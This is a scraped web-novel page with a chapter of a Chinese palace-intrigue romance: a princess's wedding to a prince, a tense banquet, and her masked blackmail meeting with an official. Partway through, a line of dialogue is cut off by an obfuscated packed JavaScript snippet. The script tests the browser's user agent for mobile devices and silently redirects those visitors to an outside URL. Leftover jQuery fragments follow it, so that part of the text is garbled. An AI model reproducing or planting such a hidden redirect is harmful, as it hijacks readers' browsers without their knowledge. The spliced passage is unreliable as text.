默认冷灰
24号文字
方正启体

9. 成亲

作者:雪寻春本书字数:K更新时间:
    成亲的日子很快定下,七日后就是礼部给出的黄道吉日。


    和这个信息一起到的舟云院里的,是另一封赐婚的圣旨。


    皇帝将沈芜指给了祁河当侧妃。


    眼下支持立二皇子为储的人又要有动作了。


    毕竟沈家手握重兵,门第显赫,沈芜的祖父更是当年陪先王打天下的肱骨之臣。


    “这未免也不把我们公主放在眼里了!”侍女替她不忿。


    舟云也没料到,现在偏离原剧轨道的地方有些太多了。


    她没空细想,筹备婚礼的日子紧凑,每日都有宫人到她的院子里教她礼仪给她裁衣。


    时间被安排的满满当当。


    ——


    一抹微光从云层漏出,宫里宫外一阵锣鼓喧天,鞭炮齐鸣。


    舟云第三次穿上了那身红色的喜服。


    唯一不同的是,侍女替她盖上了四方的鸳鸯喜帕。


    祁河领着她坐进了狭仄的轿子里。


    大概是祁河真的惹恼了皇帝,成亲的仪式设置在了宫外的王府。


    祁河握着她手,有些冰凉。


    他还是骑着那匹白驹走在队伍最前方,不过这次,是他,娶她。


    l百姓都纷纷赶到街市上探出头来凑热闹。


    祁河看了眼墨玉,他立刻往人群里的纷发喜糖。


    舟云在轿中捏紧了手里的团扇,但毕竟这是她两辈子第一次成亲,难免有些紧张。


    好在繁琐的婚礼因为二人身份,加上长辈皆未出席,流程变得简单了许多。


    东安的习俗是在成亲仪式上掀开喜帕。


    祁河轻轻挑起那方红色帕子。


    她今天打扮的很漂亮。


    虽然已经见过她穿喜服的样子,但感觉都不如今日。


    她白净的脸被厚厚的脂粉盖住,遮掩了些稚气的同时也添了丝妩媚。


    礼成。


    舟云坐在婚房内梅枝雕刻的桌子上,大口吃着,从清晨到下午她都不曾进食。


    祁河进屋就见她嘴里塞得鼓鼓的,他坐在了她对面的椅子上,侍女贴心的递上了一副碗筷。


    “晚些还要去前厅敬酒,夫人别吃太多。”


    舟云被他的称呼哽住,嘴里的吃食咽也不是,吐也不是。


    “谢夫君关心。”


    她内心还是有些抵抗,这样不相熟悉的人莫名其妙成了夫妻。


    夜色朦胧。


    祁河同她端着白玉酒杯,穿梭在内院的席间。


    尽管陛下不在,但好歹是皇子又掌管军务,往来的宾客还是络绎不绝。


    内院坐着的都是些有头有脸的大人物,祁河也少不得给几分薄面。


    “二殿下可是有福气,一日就将公主和沈将军的小姐一起纳下了啊哈哈~”


    一个红色官服尖嘴猴腮的人提杯站了起来,他满身酒气,像是喝醉了般。


    全场氛围骤降至了冰点。


    谁不知李相和沈大将军向来不睦,两家暗中较劲。如今李相家的女儿是正妃,而沈将军的嫡女只落个侧妃,高下立现。


    “哦?如此说来是大人福气更甚一筹,听说大人可是娶了李相的家的二小姐,还在城内有十余房妾室呢。”


    刚刚在席间有人叫过他的名字,舟云瞬间将他和册子上的名单对上号了。


    一个司直名唤周驿,因娶了李相家庶女才得以立足,但碍于丈人不敢纳妾,册子里登记的全是给他献上的舞姬,都被他养在城内的各处院里,不敢让人知晓。


    原本还装作醉醺醺的司直脸色唰白,涔涔往外冒着汗。此事在官场谈不上隐秘,不摆上台面李相还能装作视而不见,但在大庭广众下这样道出老脸有些挂不住,心口憋着气。


    周驿也不敢再开口,只悄悄看了几眼李相所在的位置。


    谢尧端过自己的酒杯,绕到了舟云面前:“周大人酒后失言还望公主见谅,谢某替周大人赔罪了。”


    他一口喝尽杯中的酒,杯口朝下倒扣着,示意舟云。


    她才端起手里的杯子,就被祁河的手拦住。


    他宽厚的手掌紧紧裹住她的手,手上粗糙的纹理摩挲着她的手背。


    “如今我与夫人已然成亲,谢大人还是称王妃要更合礼数些。”


    谢尧没再说话,不经意的看了眼他们紧握住的手,忍不住捏碎了藏在袖子里的酒杯。


    闹剧很快被几番前来祝贺的声音盖了过去。


    舟云不胜酒力提前回了屋子。


    头顶上的凤冠朱钗压的她脖子酸胀,她唤来侍女替她拆了。


    “公主合卺酒还没…”


    “无事,替我拆了罢。”


    舟云不觉得祁河今夜会来自己屋里。


    他一定是觉察到了什么才娶了自己,虽然不知道他到底知道了多少,但能他一定没有实质性的证据。


    是不会有人相信穿越这种事的。


    她猜对了,祁河确实不打算去她屋里留宿。


    墨玉扶着装醉的他离开了宴席。


    直到走进后院,祁河才抽回了搭在他肩上的手。


    “这两日公主有接触过什么可疑的人吗?”


    今日舟云所述周驿的私事属实,但她怎会知道?


    “不曾,不过今日府上的探子多了些,能辨出来的有李相和沈将军那边的人,另外几人不知是何来头。”


    “盯紧些。另外再帮我做件事。”祁河低声在墨玉耳边说了几句。


    “是。”


    祁河站在分叉路犹豫了几秒,转头走了右侧。


    房间门被推开。


    舟云早已换下了喜服,穿着一身素净的衣裳坐在窗边的矮榻上下棋。


    前些日子和瑾王妃那局棋她一直念念不忘,刚好今日得空可以复盘。


    见到祁河她很惊讶。


    侍女在门口指了指自己的嘴,然后摇了摇头。


    她便明了。


    “下去吧,把门带上。”


    祁河径直坐到了她对面的座位,拈了颗棋落下。


    “你何时同大嫂下过棋?”


    他对大嫂的棋风熟悉,毕竟师出同门。


    舟云没回答他,又下了一子,上次就是栽在了这一手。


    思索再三,他按大嫂的棋风下在了另一处。


    “瑾王妃曾同我说今日沈家小姐也要嫁与王爷。”


    她淡淡道。


    她大概清楚了祁河今日的来意,聪明人之间有些话不必明说,这样遮掩的回答才更具有参考意义。


    祁河心思不在棋面,舟云很快扳平了棋局。


    他抬头看着她,和那次在洞里见到的模样不同,她的眼睛泛着亮光不像兔子更像狐狸了些。


    “王爷时辰不早了,您早些回屋里歇息?”


    舟云的困意席来,暗示他离开。


    他原本是要走,但听到她的逐客令莫名心里有些不舒服。


    “没记错的话本王今日大喜,不知夫人要让本王去哪?”


    舟云没想到这人这般小心眼,如鲠在喉。


    她不理会他,蜷着身子躲到了锦被底下,却不自觉微微颤抖着。


    说实话她很紧张,长这么大都没来得及和男人亲嘴就穿进了这破书里,过着胆战心惊的日子。


    况且如果祁河强行……她定然无力反抗。但话又说回来祁河的身材样貌确实不错,自己好像也不是很吃亏。


    她脑子里不禁浮现出来那日在官驿见他半露胸膛的模样,微微突起的胸肌还有块块分明的腹肌……


    祁河只想逗逗她,不想她反应这般大。小小的身子完全缩在了锦被里,微微抖动。他本来有些内疚,但没几分钟就传来了均匀的呼吸声。


    他笑了笑,轻声推门出去,朝守在门口的侍女做了个噤声的动作。


    王府的另一间院落,沈芜早早就剪灭了红烛睡下了。


    ——


    舟云只觉得这一觉睡得格外舒适,温暖的阳光洒满她的床榻,她才醒来。


    屋内不见祁河的身影。


    侍女听见屋内的动静才推开了门,


    “祁…王爷何时走的?”


    “昨日王妃睡下片刻,王爷便走了。”


    她暗暗感叹昨日那般场景自己也能睡着。


    “王妃还是快些梳洗罢,沈侧妃已在殿内等候多时了。”


    舟云记得今日进宫的礼数都被免了,却忘了沈芜要给自己请安。


    她急匆匆的赶到了殿中,沈芜杯中的茶已经见底。


    “实在抱歉,昨日太累了今日睡过头了。”


    她的话在沈芜听来确是另一番意味,出嫁前嬷嬷曾给她看过些话本子,听舟云这样一说那些画面又浮现在了脑海中,她红了耳根,脸上露出一抹怪异的神色。


    舟云这才意识到好像有些说的不对劲,但解释起来又略显苍白了,她选择了闭嘴。


    “以后请安都免了吧,我比较喜静。”


    丁承川忽然从外头跑了进来,在舟云耳边低声说了几句。


    “周驿昨晚被人打了,被扔在了其中一个外室的院门口。”


    舟云第一个想到了李相,但他这样的手段算不上高明,完全可以暗中敲打周驿即可。


    或者是他还与其他人结仇了?不过这种人渣实属活该,她不由心晴大好。


    沈芜看着丁承川有些诧异,这张脸,她在梦里见过。


    自从宫宴那日后,她总会做很多奇怪的梦。


    梦里的舟云站在城墙,无数只箭都射向了城中,最前面那人拉弓对准了舟云。


    在帐中,眼前男子在沙盘里的往东安都城插上了一面奇怪的旗帜,而他的身边就是那拉弓对准了舟云的人。


    沈芜握紧了手里的帕子,有些口干舌燥,伸手却打翻了茶盏。


    “啪——”


    一声巨响将三人的思绪都拉了回来。


    “抱…抱歉。”沈芜心虚的去拣地上的瓷片。


    “我来吧。”


    那张面孔突然出现在了沈芜面前,她吓得跌坐到了地上,咽了下口水:“谢…谢谢。”


    她心跳的快要蹦出来,匆匆向舟云告辞。


    舟云也不知沈芜这般诡异的行为是为何,疑惑的看着丁承川:“你昨晚装鬼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035376|194620||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吓她了?”


    丁承川:……


    ——


    祁河坐在书房思考着,新空出的司直一职要引荐谁比较合适。


    “王爷,属下派人查过了,瑾王妃几日前确实有同王妃下棋,不过我们的人不敢跟太近,故没有听到具体的谈话内容。”


    大嫂?如果是大嫂告知舟云,周驿在外豢养外室倒有可能。不过这未免太凑巧了,就好像还不知道题目就已经写出来了答案。不过以大嫂母家的手段想让周驿故意在婚宴上这么说的话…..


    他神色忽闪,是李相!


    “昨夜的事办的不错,相府有何行动?”


    墨玉想了想:“相府今日倒是有人从偏门偷偷去了周驿的宅院,周府只收了东西没让人进屋。”


    若李相也有参与,那事情就有些棘手了。


    祁河看着书桌上,仵作出具的知府的验尸报告。


    ——


    舟云将殿里的人都遣退了,只留了贴身的侍女和丁承川。


    “交代你的任务都做好了?”


    丁承川点点头。


    舟云眯起眼睛笑了笑:“那我们出发!”


    几人驾着马车从王府往街市走。


    最终马车在城内最大的服饰铺子停下。


    侍女这才松了口气:“原来王妃是想添些衣裳首饰!”


    舟云只是笑了笑没说话。


    这家铺子是城里有些名气,专供些世家小姐的衣裳布料,以及一些工艺繁琐别致的首饰。楼上单独开设了雅间可以提供茶点。


    舟云选了处靠窗的位子背身而坐。


    店家见她衣着不菲,很是上道的端来了许多茶点。


    没一会舟云就找了借口出了雅间。


    她低声朝着侍女道:“一会我回来,无论看见什么都不要发出声音。”


    侍女虽然有些不明所以,还是点头。


    门再次推开,进来的“舟云”低着头,背身坐下面朝着门口,侍女才看清那脸,一惊。


    侍女想起舟云的话,到嘴边的惊呼又压了回去。


    隔壁雅间。


    舟云带上了丁承川提前准备好的面具,坐在了屏风后面。


    谢尧带着一封信推开了门。


    他倒是意外,私下里帮几个大人的门生写文章的事居然能被翻出来,他倒是不惧被发现,只是想知道是何人有如此手段。


    “阁下邀我前来却又不敢露面?”


    舟云提前吃了丁承川找来的草药,这种草药吃了后会刺激喉咙从而改变嗓音:“谢大人,不妨先看这个?”


    她将誊抄的谢尧代笔的时间、对象以及收费递了过去。


    他看着上面罗列的明细,目光紧缩。


    面具下的舟云满脸骄傲,她可是手握剧本的女人。


    “不知阁下想让我做什么?”


    舟云递上另一张纸条,上面只有三个名字。


    这些是她从那本册子里选出来,最有可能是反派的人。只怪她穿越来没有原主的记忆,只能依靠这本账册分析。


    这三个名字在账册里出现的频率很高,每一笔汇入的金额也未作任何明细,是她重点怀疑的对象。


    谢尧看着那三个名字,品阶不算高,但都是些重要行当的要职位,主管军中粮草、主管水利修缮以及军马喂养。


    他不由的好奇对面的人,刚要起身,一道飞镖就从眼前窜过,紧贴着他耳边扎进了身后的墙板上。


    “谢大人还是坐在自己位置上比较安全一点。”


    舟云提前让丁承川布好了机关,这样她的安全度数会比较高一点。


    谢尧讪讪一笑,“阁下想让我做什么?”


    “什么都不用做就行。”


    舟云不需要他做什么,这三人的官职都是靠谢尧写的文章做了问路石,才敲开背后靠山的大门,只要他不再提供文章,那些草包迟早要露马脚。若谁还能继续平步青云,那人一定就是舟云要找的。


    “若我不答应是不是今日就走不出这楼了?”,谢尧提起桌上的茶水给自己斟满。


    “谢某如阁下所愿,也希望阁下守诺不将此信内容外传。”


    他将信封连同纸条一起放入茶炉里燃尽,离开了房间。


    仆从见他出门赶忙跟了上去。


    “公子何不把纸条带出,依靠字迹我们或许能辨认一二?”


    谢尧将紧握在手里的杯子摔在地上,所有信件纸张上的字,都是刻章印上的。


    不过,字迹或许可以用章印,但她递来纸条时不小心露出的手腕上红色胎记还是被他看见了。虽然她很快将手翻了过去,他还是一眼记住了那个模样。


    他在纸上画了几笔递给了暗卫。


    “暗寻手腕带此红色胎记的人。”


    ……


    舟云坐在回程的马车上暗爽。


    侍女捏皱了裙摆,压低声音:“王妃这样太冒险了,被人发现就….”


    舟云摇摇头,用车里的茶水浸湿手帕,擦拭着手腕她画的红色胎记。


    总是要给人留些破绽的。


    一想到着她就暗暗发笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)